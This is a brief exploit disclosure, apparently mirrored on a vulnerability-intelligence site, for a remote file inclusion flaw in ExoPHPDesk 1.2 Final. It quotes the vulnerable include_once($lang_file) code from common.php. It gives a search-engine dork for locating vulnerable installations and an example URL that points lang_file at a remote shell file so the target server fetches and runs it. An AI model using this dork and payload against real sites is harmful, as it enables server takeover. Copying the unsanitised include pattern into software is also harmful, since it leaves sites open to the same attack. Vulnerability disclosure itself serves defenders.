ExoPHPDesk 1.2 Final RFI vulnerability in common.ph
`*******************************************************************************
# Title : ExoPHPDesk 1.2 Final
# Author : e.wiZz!
# Info : Bosnian Idiot !
# Script Page : http://www.exocrew.com
# Dork : Powered by ExoPHPDesk v1.2 Final.
*******************************************************************************
[[RFI]]]---------------------------------------------------------
common.php
Line 40~ (dunno..i have normal notepad :D)
-------------cut here---------------------
define("ACT", $_REQUEST['action']);
define("TYPE", $_REQUEST['type']);
define("SUBM", $_POST['submit']);
define("FNAME", $_GET['fn']);
// Include Language File
include_once($lang_file);
----------cut here-------------------
Example:
http://www.inthewild.com/`path`/common.php?lang_file=http://shell.txt?`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo